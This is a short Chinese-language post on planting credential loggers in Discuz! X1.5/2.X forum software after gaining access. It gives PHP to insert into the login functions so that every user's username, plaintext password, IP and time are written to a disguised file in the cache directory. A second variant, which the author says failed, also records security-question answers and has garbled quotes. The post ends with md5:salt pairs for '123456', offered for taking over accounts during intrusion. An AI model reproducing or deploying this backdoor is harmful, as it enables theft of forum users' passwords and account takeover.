Discuz！X1.5 2.X登陆密码记录

修改uc_client目录下的client.php 在
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
if(getenv('HTTP_CLIENT_IP')) { 
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) { 
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) { 
$onlineip = getenv('REMOTE_ADDR');
} else { 
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
    $showtime=date("Y-m-d H:i:s");
    $record="<?exit();?>用户：".$username." 密码：".$password." IP:".$onlineip." Time:".$showtime."\r\n";
    $handle=fopen('./data/cache/csslog.php','a+');

    $write=fwrite($handle,$record);

网上还有一种方法:

//打开source/function/function_member.php
 
//找到function userlogin
 
//在return $return;前面加上
 
$a=file_get_contents(dirname(__FILE__).’/1.txt’);
 
file_put_contents(dirname(__FILE__).’/1.txt’),$a.”Id：”.$username.”—-Psw：”.$password.”—-question：”.$questionid.”—-Answer：”.$answer.”\r\n”);
 
//记录登陆成功的账号密码以及问题答案！保存在source/function/目录下的1.txt
 
经过测试没有成功。

几组密码为123456的md5和salt值，供渗透discuz论坛修改密码用：

f9b6a0a1825adc0e5bb77e7daa010793:795da2 
217fee1a3b9c657236d0ed636f2ed36b:c7be77 
85f71aa1e34154bb8a6a8f8183c2a781:1bffdc